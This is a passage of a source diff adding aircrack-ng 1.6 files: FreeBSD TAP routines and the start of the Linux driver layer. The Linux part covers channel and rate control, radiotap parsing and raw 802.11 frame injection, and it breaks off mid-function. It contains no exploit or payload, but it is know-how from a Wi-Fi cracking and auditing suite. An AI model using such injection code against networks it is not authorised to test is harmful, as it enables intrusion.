+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for FreeBSD. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "aircrack-ng/defs.h"
+#include "osdep.h"
+
+struct tip_fbsd
+{
+	int tf_fd;
+	int tf_ioctls;
+	struct ifreq tf_ifr;
+	char tf_name[IFNAMSIZ];
+	int tf_destroy;
+};
+
+static int ti_do_open_fbsd(struct tif * ti, char * name)
+{
+	int fd;
+	char * iface = "/dev/tap";
+	struct stat st;
+	struct tip_fbsd * priv = ti_priv(ti);
+	int s;
+	unsigned int flags;
+	struct ifreq * ifr;
+
+	/* open tap */
+	if (name)
+		iface = name;
+	else
+		priv->tf_destroy = 1; /* we create, we destroy */
+
+	fd = open(iface, O_RDWR);
+	if (fd == -1) return -1;
+
+	/* get name */
+	if (fstat(fd, &st) == -1) goto err;
+	snprintf(priv->tf_name,
+			 sizeof(priv->tf_name) - 1,
+			 "%s",
+			 devname(st.st_rdev, S_IFCHR));
+
+	/* bring iface up */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) goto err;
+	priv->tf_ioctls = s;
+
+	/* get flags */
+	ifr = &priv->tf_ifr;
+	memset(ifr, 0, sizeof(*ifr));
+	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->tf_name);
+	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
+	flags = (ifr->ifr_flags & 0xffff) | (ifr->ifr_flagshigh << 16);
+
+	/* set flags */
+	flags |= IFF_UP;
+	ifr->ifr_flags = flags & 0xffff;
+	ifr->ifr_flagshigh = flags >> 16;
+	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
+
+	return fd;
+err:
+	/* XXX destroy */
+	close(fd);
+	return -1;
+err2:
+	close(s);
+	goto err;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_destroy(struct tip_fbsd * priv)
+{
+	ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr);
+}
+
+static void ti_close_fbsd(struct tif * ti)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	if (priv->tf_destroy) ti_destroy(priv);
+
+	close(priv->tf_fd);
+	close(priv->tf_ioctls);
+	ti_do_free(ti);
+}
+
+static char * ti_name_fbsd(struct tif * ti)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	return priv->tf_name;
+}
+
+static int ti_set_mtu_fbsd(struct tif * ti, int mtu)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	priv->tf_ifr.ifr_mtu = mtu;
+
+	return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr);
+}
+
+static int ti_set_mac_fbsd(struct tif * ti, unsigned char * mac)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+	struct ifreq * ifr = &priv->tf_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr);
+}
+
+static int ti_set_ip_fbsd(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+	struct ifaliasreq ifra;
+	struct sockaddr_in * s_in;
+
+	/* assume same size */
+	memset(&ifra, 0, sizeof(ifra));
+	strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name);
+
+	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
+	s_in->sin_family = PF_INET;
+	s_in->sin_addr = *ip;
+	s_in->sin_len = sizeof(*s_in);
+
+	return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra);
+}
+
+static int ti_fd_fbsd(struct tif * ti)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	return priv->tf_fd;
+}
+
+static int ti_read_fbsd(struct tif * ti, void * buf, int len)
+{
+	return read(ti_fd(ti), buf, len);
+}
+
+static int ti_write_fbsd(struct tif * ti, void * buf, int len)
+{
+	return write(ti_fd(ti), buf, len);
+}
+
+static struct tif * ti_open_fbsd(char * iface)
+{
+	struct tif * ti;
+	struct tip_fbsd * priv;
+	int fd;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	ti->ti_name = ti_name_fbsd;
+	ti->ti_set_mtu = ti_set_mtu_fbsd;
+	ti->ti_close = ti_close_fbsd;
+	ti->ti_fd = ti_fd_fbsd;
+	ti->ti_read = ti_read_fbsd;
+	ti->ti_write = ti_write_fbsd;
+	ti->ti_set_mac = ti_set_mac_fbsd;
+	ti->ti_set_ip = ti_set_ip_fbsd;
+
+	/* setup iface */
+	fd = ti_do_open_fbsd(ti, iface);
+	if (fd == -1)
+	{
+		ti_do_free(ti);
+		return NULL;
+	}
+
+	/* setup private state */
+	priv = ti_priv(ti);
+	priv->tf_fd = fd;
+
+	return ti;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_fbsd(iface); }

aircrack-ng-1.6.tar.gz/lib/osdep/linux.c Added

@@ -0,0 +1,2637 @@
+/*
+ *  OS dependent APIs for Linux
+ *
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2004, 2005 Christophe Devine
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+#include <sys/stat.h>
+#include <netpacket/packet.h>
+#include <linux/if_ether.h>
+#include <linux/if.h>
+#include <linux/wireless.h>
+#include <netinet/in.h>
+#include <linux/if_tun.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/utsname.h>
+#include <net/if_arp.h>
+#include <limits.h>
+
+#ifdef CONFIG_LIBNL
+#include <linux/nl80211.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/family.h>
+#include <netlink/genl/ctrl.h>
+#include <netlink/msg.h>
+#include <netlink/attr.h>
+#include <linux/genetlink.h>
+#endif // CONFIG_LIBNL
+
+#include "radiotap/radiotap.h"
+#include "radiotap/radiotap_iter.h"
+/* radiotap-parser defines types like u8 that
+		 * ieee80211_radiotap.h needs
+		 *
+		 * we use our local copy of ieee80211_radiotap.h
+		 *
+		 * - since we can't support extensions we don't understand
+		 * - since linux does not include it in userspace headers
+		 */
+#include "osdep.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "crctable_osdep.h"
+#include "common.h"
+#include "channel.h"
+#include "aircrack-ng/defs.h"
+
+#ifdef CONFIG_LIBNL
+struct nl80211_state state;
+static int chan;
+#endif // CONFIG_LIBNL
+
+/* if_nametoindex is defined in net/if.h but that conflicts with linux/if.h */
+extern unsigned int if_nametoindex(const char * __ifname);
+extern char * if_indextoname(unsigned int __ifindex, char * __ifname);
+
+typedef enum {
+	DT_NULL = 0,
+	DT_WLANNG,
+	DT_HOSTAP,
+	DT_MADWIFI,
+	DT_MADWIFING,
+	DT_BCM43XX,
+	DT_ORINOCO,
+	DT_ZD1211RW,
+	DT_ACX,
+	DT_MAC80211_RT,
+	DT_AT76USB,
+	DT_IPW2200
+
+} DRIVER_TYPE;
+
+/*
+ * XXX need to have a different read/write/open function for each Linux driver.
+ */
+
+struct priv_linux
+{
+	int fd_in, arptype_in;
+	int fd_out, arptype_out;
+	int fd_main;
+	int fd_rtc;
+
+	DRIVER_TYPE drivertype; /* inited to DT_UNKNOWN on allocation by wi_alloc */
+
+	FILE * f_cap_in;
+
+	struct pcap_file_header pfh_in;
+
+	int sysfs_inject;
+	int channel;
+	int freq;
+	int rate;
+	int tx_power;
+	char * wlanctlng; /* XXX never set */
+	char * iwpriv;
+	char * iwconfig;
+	char * ifconfig;
+	char * wl;
+	char * main_if;
+	unsigned char pl_mac[6];
+	int inject_wlanng;
+};
+
+#ifndef ETH_P_80211_RAW
+#define ETH_P_80211_RAW 25
+#endif
+
+#define ARPHRD_ETHERNET 1
+#define ARPHRD_IEEE80211 801
+#define ARPHRD_IEEE80211_PRISM 802
+#define ARPHRD_IEEE80211_FULL 803
+
+#ifndef NULL_MAC
+#define NULL_MAC "\x00\x00\x00\x00\x00\x00"
+#endif
+
+static unsigned long calc_crc_osdep(unsigned char * buf, int len)
+{
+	unsigned long crc = 0xFFFFFFFF;
+
+	for (; len > 0; len--, buf++)
+		crc = crc_tbl_osdep[(crc ^ *buf) & 0xFF] ^ (crc >> 8);
+
+	return (~crc);
+}
+
+/* CRC checksum verification routine */
+
+static int check_crc_buf_osdep(unsigned char * buf, int len)
+{
+	unsigned long crc;
+
+	if (len < 0) return 0;
+
+	crc = calc_crc_osdep(buf, len);
+	buf += len;
+	return (((crc) &0xFF) == buf[0] && ((crc >> 8) & 0xFF) == buf[1]
+			&& ((crc >> 16) & 0xFF) == buf[2]
+			&& ((crc >> 24) & 0xFF) == buf[3]);
+}
+
+// Check if the driver is ndiswrapper */
+static int is_ndiswrapper(const char * iface, const char * path)
+{
+	int n, pid;
+	if (!path || !iface || strlen(iface) >= IFNAMSIZ)
+	{
+		return 0;
+	}
+	if ((pid = fork()) == 0)
+	{
+		close(0);
+		close(1);
+		close(2);
+		IGNORE_NZ(chdir("/"));
+		execl(path, "iwpriv", iface, "ndis_reset", NULL);
+		exit(1);
+	}
+
+	waitpid(pid, &n, 0);
+	return ((WIFEXITED(n) && WEXITSTATUS(n) == 0));
+}
+
+/* Search a file recursively */
+static char * searchInside(const char * dir, const char * filename)
+{
+	char * ret;
+	char * curfile;
+	struct stat sb;
+	int len, lentot;
+	DIR * dp;
+	struct dirent * ep;
+
+	dp = opendir(dir);
+	if (dp == NULL)
+	{
+		return NULL;
+	}
+
+	len = strlen(filename);
+	lentot = strlen(dir) + 256 + 2;
+	curfile = (char *) calloc(1, lentot);
+	if (curfile == NULL)
+	{
+		(void) closedir(dp);
+		return (NULL);
+	}
+
+	while ((ep = readdir(dp)) != NULL)
+	{
+
+		memset(curfile, 0, lentot);
+		sprintf(curfile, "%s/%s", dir, ep->d_name);
+
+		// Checking if it's the good file
+		if ((int) strlen(ep->d_name) == len && !strcmp(ep->d_name, filename))
+		{
+			(void) closedir(dp);
+			return curfile;
+		}
+
+		// If it's a directory and not a link, try to go inside to search
+		if (lstat(curfile, &sb) == 0 && S_ISDIR(sb.st_mode)
+			&& !S_ISLNK(sb.st_mode))
+		{
+			// Check if the directory isn't "." or ".."
+			if (strcmp(".", ep->d_name) && strcmp("..", ep->d_name))
+			{
+				// Recursive call
+				ret = searchInside(curfile, filename);
+				if (ret != NULL)
+				{
+					(void) closedir(dp);
+					free(curfile);
+					return ret;
+				}
+			}
+		}
+	}
+	(void) closedir(dp);
+	free(curfile);
+	return NULL;
+}
+
+/* Search a wireless tool and return its path */
+static char * wiToolsPath(const char * tool)
+{
+	char * path /*, *found, *env */;
+	int i, nbelems;
+	static const char * paths[] = {"/sbin",
+								   "/usr/sbin",
+								   "/usr/local/sbin",
+								   "/bin",
+								   "/usr/bin",
+								   "/usr/local/bin",
+								   "/tmp"};
+
+	// Also search in other known location just in case we haven't found it yet
+	nbelems = sizeof(paths) / sizeof(char *);
+	for (i = 0; i < nbelems; i++)
+	{
+		path = searchInside(paths[i], tool);
+		if (path != NULL) return path;
+	}
+
+	return NULL;
+}
+
+/* nl80211 */
+#ifdef CONFIG_LIBNL
+struct nl80211_state
+{
+#if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20)
+	struct nl_handle * nl_sock;
+#else
+	struct nl_sock * nl_sock;
+#endif
+	struct nl_cache * nl_cache;
+	struct genl_family * nl80211;
+};
+
+#if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20)
+static inline struct nl_handle * nl_socket_alloc(void)
+{
+	return nl_handle_alloc();
+}
+
+static inline void nl_socket_free(struct nl_handle * h)
+{
+	nl_handle_destroy(h);
+}
+
+static inline int __genl_ctrl_alloc_cache(struct nl_handle * h,
+										  struct nl_cache ** cache)
+{
+	struct nl_cache * tmp = genl_ctrl_alloc_cache(h);
+	if (!tmp) return -ENOMEM;
+	*cache = tmp;
+	return 0;
+}
+#define genl_ctrl_alloc_cache __genl_ctrl_alloc_cache
+#endif
+
+static int linux_nl80211_init(struct nl80211_state * state)
+{
+	int err;
+
+	state->nl_sock = nl_socket_alloc();
+
+	if (!state->nl_sock)
+	{
+		fprintf(stderr, "Failed to allocate netlink socket.\n");
+		return -ENOMEM;
+	}
+
+	if (genl_connect(state->nl_sock))
+	{
+		fprintf(stderr, "Failed to connect to generic netlink.\n");
+		err = -ENOLINK;
+		goto out_handle_destroy;
+	}
+
+	if (genl_ctrl_alloc_cache(state->nl_sock, &state->nl_cache))
+	{
+		fprintf(stderr, "Failed to allocate generic netlink cache.\n");
+		err = -ENOMEM;
+		goto out_handle_destroy;
+	}
+
+	state->nl80211 = genl_ctrl_search_by_name(state->nl_cache, "nl80211");
+	if (!state->nl80211)
+	{
+		fprintf(stderr, "nl80211 not found.\n");
+		err = -ENOENT;
+		goto out_cache_free;
+	}
+
+	return 0;
+
+out_cache_free:
+	nl_cache_free(state->nl_cache);
+out_handle_destroy:
+	nl_socket_free(state->nl_sock);
+	return err;
+}
+
+static void nl80211_cleanup(struct nl80211_state * state)
+{
+	genl_family_put(state->nl80211);
+	nl_cache_free(state->nl_cache);
+	nl_socket_free(state->nl_sock);
+}
+
+/* Callbacks */
+
+/*
+static int error_handler(struct sockaddr_nl *nla, struct nlmsgerr *err,
+					 void *arg)
+{
+	if (nla) { }
+	printf("\n\n\nERROR");
+	int *ret = arg;
+	*ret = err->error;
+	return NL_STOP;
+}
+*/
+
+/*
+static void test_callback(struct nl_msg *msg, void *arg)
+{
+	if (msg || arg) { }
+}
+*/
+#endif /* End nl80211 */
+
+static int linux_get_channel(struct wif * wi)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct iwreq wrq;
+	int fd, frequency;
+	int chan = 0;
+
+	memset(&wrq, 0, sizeof(struct iwreq));
+
+	if (dev->main_if)
+		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
+	else
+		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	fd = dev->fd_in;
+	if (dev->drivertype == DT_IPW2200) fd = dev->fd_main;
+
+	if (ioctl(fd, SIOCGIWFREQ, &wrq) < 0) return (-1);
+
+	frequency = wrq.u.freq.m;
+	if (frequency > 100000000)
+		frequency /= 100000;
+	else if (frequency > 1000000)
+		frequency /= 1000;
+
+	if (frequency > 1000)
+		chan = getChannelFromFrequency(frequency);
+	else
+		chan = frequency;
+
+	return chan;
+}
+
+static int linux_get_freq(struct wif * wi)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct iwreq wrq;
+	int fd, frequency;
+
+	memset(&wrq, 0, sizeof(struct iwreq));
+
+	if (dev->main_if)
+		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
+	else
+		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	fd = dev->fd_in;
+	if (dev->drivertype == DT_IPW2200) fd = dev->fd_main;
+
+	if (ioctl(fd, SIOCGIWFREQ, &wrq) < 0) return (-1);
+
+	frequency = wrq.u.freq.m;
+	if (frequency > 100000000)
+		frequency /= 100000;
+	else if (frequency > 1000000)
+		frequency /= 1000;
+
+	if (frequency < 500) // it's not a freq, but the actual channel
+		frequency = getFrequencyFromChannel(frequency);
+
+	return frequency;
+}
+
+static int linux_set_rate(struct wif * wi, int rate)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct ifreq ifr;
+	struct iwreq wrq;
+	char s[32];
+	int pid, status;
+
+	memset(s, 0, sizeof(s));
+
+	switch (dev->drivertype)
+	{
+		case DT_MADWIFING:
+			memset(&ifr, 0, sizeof(ifr));
+			strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+			if (ioctl(dev->fd_in, SIOCGIFINDEX, &ifr) < 0)
+			{
+				printf("Interface %s: \n", wi_get_ifname(wi));
+				perror("ioctl(SIOCGIFINDEX) failed");
+				return (1);
+			}
+
+			/* Bring interface down*/
+			ifr.ifr_flags = 0;
+
+			if (ioctl(dev->fd_in, SIOCSIFFLAGS, &ifr) < 0)
+			{
+				perror("ioctl(SIOCSIFFLAGS) failed");
+				return (1);
+			}
+
+			usleep(100000);
+
+			snprintf(s, sizeof(s) - 1, "%.1fM", (rate / 1000000.0));
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				IGNORE_NZ(chdir("/"));
+				execlp(dev->iwconfig,
+					   "iwconfig",
+					   wi_get_ifname(wi),
+					   "rate",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+
+			return 0;
+			break;
+
+		case DT_MAC80211_RT:
+
+			dev->rate = (rate / 500000);
+			// return 0;
+			// Newer mac80211 stacks (2.6.31 and up)
+			// don't care about Radiotap header anymore, so ioctl below must
+			// also be done!
+			//[see Documentation/networking/mac80211-injection.txt]
+			break;
+
+		default:
+			break;
+	}
+
+	/* ELSE */
+	memset(&wrq, 0, sizeof(struct iwreq));
+
+	if (dev->main_if)
+		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
+	else
+		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	wrq.u.bitrate.value = rate;
+	wrq.u.bitrate.fixed = 1;
+
+	if (ioctl(dev->fd_in, SIOCSIWRATE, &wrq) < 0)
+	{
+		return (-1);
+	}
+
+	return 0;
+}
+
+static int linux_get_rate(struct wif * wi)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct iwreq wrq;
+
+	memset(&wrq, 0, sizeof(struct iwreq));
+
+	if (dev->drivertype == DT_MAC80211_RT) return (dev->rate * 500000);
+
+	if (dev->main_if)
+		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
+	else
+		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	if (ioctl(dev->fd_in, SIOCGIWRATE, &wrq) < 0)
+	{
+		return (-1);
+	}
+
+	return wrq.u.bitrate.value;
+}
+
+static int linux_set_mtu(struct wif * wi, int mtu)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct ifreq ifr;
+
+	memset(&ifr, 0, sizeof(struct ifreq));
+
+	if (dev->main_if)
+		strncpy(ifr.ifr_name, dev->main_if, sizeof(ifr.ifr_name) - 1);
+	else
+		strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+	ifr.ifr_mtu = mtu;
+	if (ioctl(dev->fd_in, SIOCSIFMTU, &ifr) < 0)
+	{
+		return (-1);
+	}
+
+	return 0;
+}
+
+static int linux_get_mtu(struct wif * wi)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct ifreq ifr;
+
+	memset(&ifr, 0, sizeof(struct ifreq));
+
+	if (dev->main_if)
+		strncpy(ifr.ifr_name, dev->main_if, sizeof(ifr.ifr_name) - 1);
+	else
+		strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+	if (ioctl(dev->fd_in, SIOCGIFMTU, &ifr) < 0)
+	{
+		return (-1);
+	}
+
+	return ifr.ifr_mtu;
+}
+
+static int linux_read(struct wif * wi,
+					  struct timespec * ts,
+					  int * dlt,
+					  unsigned char * buf,
+					  int count,
+					  struct rx_info * ri)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	unsigned char tmpbuf[4096] __attribute__((aligned(8)));
+
+	int caplen, n, got_signal, got_noise, got_channel, fcs_removed;
+
+	n = got_signal = got_noise = got_channel = fcs_removed = 0;
+
+	if ((unsigned) count > sizeof(tmpbuf)) return (-1);
+
+	if ((caplen = read(dev->fd_in, tmpbuf, count)) < 0)
+	{
+		if (errno == EAGAIN) return (0);
+
+		perror("read failed");
+		return (-1);
+	}
+
+	switch (dev->drivertype)
+	{
+		case DT_MADWIFI:
+			caplen -= 4; /* remove the FCS for madwifi-old! only (not -ng)*/
+			break;
+		default:
+			break;
+	}
+
+	memset(buf, 0, count);
+
+	/* XXX */
+	if (ri) memset(ri, 0, sizeof(*ri));
+
+	if (dlt)
+	{
+		// TODO(jbenden): Future code could receive the actual linktype received.
+		*dlt = LINKTYPE_IEEE802_11;
+	}
+
+	if (ts)
+	{
+		clock_gettime(CLOCK_REALTIME, ts);
+	}
+
+	if (dev->arptype_in == ARPHRD_IEEE80211_PRISM)
+	{
+		/* skip the prism header */
+		if (tmpbuf[7] == 0x40)
+		{
+			/* prism54 uses a different format */
+			if (ri)
+			{
+				ri->ri_power = (int32_t) load32_le(tmpbuf + 0x33);
+				ri->ri_noise = (int32_t) load32_le(tmpbuf + 0x33 + 12);
+				ri->ri_rate = load32_le(buf + 0x33 + 24) * 500000;
+
+				got_signal = 1;
+				got_noise = 1;
+			}
+
+			n = 0x40;
+		}
+		else
+		{
+			if (ri)
+			{
+				ri->ri_mactime = load64_le(tmpbuf + 0x5C - 48);
+				ri->ri_channel = load32_le(tmpbuf + 0x5C - 36);
+				ri->ri_power = (int32_t) load32_le(tmpbuf + 0x5C);
+				ri->ri_noise = (int32_t) load32_le(tmpbuf + 0x5C + 12);
+				ri->ri_rate = load32_le(tmpbuf + 0x5C + 24) * 500000;
+
+				if (dev->drivertype == DT_MADWIFI
+					|| dev->drivertype == DT_MADWIFING)
+					ri->ri_power -= (int32_t) load32_le(tmpbuf + 0x68);
+
+				got_channel = 1;
+				got_signal = 1;
+				got_noise = 1;
+			}
+
+			n = load32_le(tmpbuf + 4);
+		}
+
+		if (n < 8 || n >= caplen) return (0);
+	}
+
+	if (dev->arptype_in == ARPHRD_IEEE80211_FULL)
+	{
+		struct ieee80211_radiotap_iterator iterator;
+		struct ieee80211_radiotap_header * rthdr;
+
+		rthdr = (struct ieee80211_radiotap_header *) tmpbuf; //-V1032
+
+		if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL)
+			< 0)
+			return (0);
+
+		/* go through the radiotap arguments we have been given
+		 * by the driver
+		 */
+
+		while (ri && (ieee80211_radiotap_iterator_next(&iterator) >= 0))
+		{
+
+			switch (iterator.this_arg_index)
+			{
+
+				case IEEE80211_RADIOTAP_TSFT:
+					ri->ri_mactime
+						= le64_to_cpu(*((uint64_t *) iterator.this_arg));
+					break;
+
+				case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+					if (!got_signal)
+					{
+						if (*iterator.this_arg < 127)
+							ri->ri_power = *iterator.this_arg;
+						else
+							ri->ri_power = *iterator.this_arg - 255;
+
+						got_signal = 1;
+					}
+					break;
+
+				case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+					if (!got_signal)
+					{
+						if (*iterator.this_arg < 127)
+							ri->ri_power = *iterator.this_arg;
+						else
+							ri->ri_power = *iterator.this_arg - 255;
+
+						got_signal = 1;
+					}
+					break;
+
+				case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+					if (!got_noise)
+					{
+						if (*iterator.this_arg < 127)
+							ri->ri_noise = *iterator.this_arg;
+						else
+							ri->ri_noise = *iterator.this_arg - 255;
+
+						got_noise = 1;
+					}
+					break;
+
+				case IEEE80211_RADIOTAP_DB_ANTNOISE:
+					if (!got_noise)
+					{
+						if (*iterator.this_arg < 127)
+							ri->ri_noise = *iterator.this_arg;
+						else
+							ri->ri_noise = *iterator.this_arg - 255;
+
+						got_noise = 1;
+					}
+					break;
+
+				case IEEE80211_RADIOTAP_ANTENNA:
+					ri->ri_antenna = *iterator.this_arg;
+					break;
+
+				case IEEE80211_RADIOTAP_CHANNEL:
+					ri->ri_channel = getChannelFromFrequency(
+						le16toh(*(uint16_t *) iterator.this_arg));
+					got_channel = 1;
+					break;
+
+				case IEEE80211_RADIOTAP_RATE:
+					ri->ri_rate = (*iterator.this_arg) * 500000;
+					break;
+
+				case IEEE80211_RADIOTAP_FLAGS:
+					/* is the CRC visible at the end?
+				 * remove
+				 */
+					if (*iterator.this_arg & IEEE80211_RADIOTAP_F_FCS)
+					{
+						fcs_removed = 1;
+						caplen -= 4;
+					}
+
+					if (*iterator.this_arg & IEEE80211_RADIOTAP_F_BADFCS)
+						return (0);
+
+					break;
+			}
+		}
+
+		n = le16_to_cpu(rthdr->it_len);
+
+		if (n <= 0 || n >= caplen) return (0);
+	}
+
+	caplen -= n;
+
+	// detect fcs at the end, even if the flag wasn't set and remove it
+	if (fcs_removed == 0 && check_crc_buf_osdep(tmpbuf + n, caplen - 4) == 1)
+	{
+		caplen -= 4;
+	}
+
+	memcpy(buf, tmpbuf + n, caplen);
+
+	if (ri && !got_channel) ri->ri_channel = wi_get_channel(wi);
+
+	return (caplen);
+}
+
+static int linux_write(struct wif * wi,
+					   struct timespec * ts,
+					   int dlt,
+					   unsigned char * buf,
+					   int count,
+					   struct tx_info * ti)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	unsigned char maddr[6];
+	int ret, usedrtap = 0;
+	unsigned char tmpbuf[4096];
+	unsigned char rate;
+	unsigned short int * p_rtlen;
+
+	unsigned char u8aRadiotap[] __attribute__((aligned(8))) = {
+		0x00,
+		0x00, // <-- radiotap version
+		0x0c,
+		0x00, // <- radiotap header length
+		0x04,
+		0x80,
+		0x00,
+		0x00, // <-- bitmap
+		0x00, // <-- rate
+		0x00, // <-- padding for natural alignment
+		0x18,
+		0x00, // <-- TX flags
+	};
+
+	/* Pointer to the radiotap header length field for later use. */
+	p_rtlen = (unsigned short int *) (u8aRadiotap + 2); //-V1032
+
+	if ((unsigned) count > sizeof(tmpbuf) - 22) return -1;
+
+	/* XXX honor ti */
+	if (ti)
+	{
+	}
+
+	(void) ts;
+	(void) dlt;
+
+	rate = dev->rate;
+
+	u8aRadiotap[8] = rate;
+
+	switch (dev->drivertype)
+	{
+
+		case DT_MAC80211_RT:
+			memcpy(tmpbuf, u8aRadiotap, sizeof(u8aRadiotap));
+			memcpy(tmpbuf + sizeof(u8aRadiotap), buf, count);
+			count += sizeof(u8aRadiotap);
+
+			buf = tmpbuf;
+			usedrtap = 1;
+			break;
+
+		case DT_WLANNG:
+			/* Wlan-ng isn't able to inject on kernel > 2.6.11 */
+			if (dev->inject_wlanng == 0)
+			{
+				perror("write failed");
+				return (-1);
+			}
+
+			if (count >= 24)
+			{
+				/* for some reason, wlan-ng requires a special header */
+
+				if ((((unsigned char *) buf)[1] & 3) != 3)
+				{
+					memcpy(tmpbuf, buf, 24);
+					memset(tmpbuf + 24, 0, 22);
+
+					tmpbuf[30] = (count - 24) & 0xFF;
+					tmpbuf[31] = (count - 24) >> 8;
+
+					memcpy(tmpbuf + 46, buf + 24, count - 24);
+
+					count += 22;
+				}
+				else
+				{
+					memcpy(tmpbuf, buf, 30);
+					memset(tmpbuf + 30, 0, 16);
+
+					tmpbuf[30] = (count - 30) & 0xFF;
+					tmpbuf[31] = (count - 30) >> 8; //-V610
+
+					memcpy(tmpbuf + 46, buf + 30, count - 30);
+
+					count += 16;
+				}
+
+				buf = tmpbuf;
+			}
+		/* fall through */
+		case DT_HOSTAP:
+			if ((((unsigned char *) buf)[1] & 3) == 2)
+			{
+				/* Prism2 firmware swaps the dmac and smac in FromDS packets */
+
+				memcpy(maddr, buf + 4, 6);
+				memcpy(buf + 4, buf + 16, 6);
+				memcpy(buf + 16, maddr, 6);
+			}
+			break;
+		default:
+			break;
+	}
+
+	ret = write(dev->fd_out, buf, count);
+
+	if (ret < 0)
+	{
+		if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS
+			|| errno == ENOMEM)
+		{
+			usleep(10000);
+			return (0);
+		}
+
+		perror("write failed");
+		return (-1);
+	}
+
+	/* radiotap header length is stored little endian on all systems */
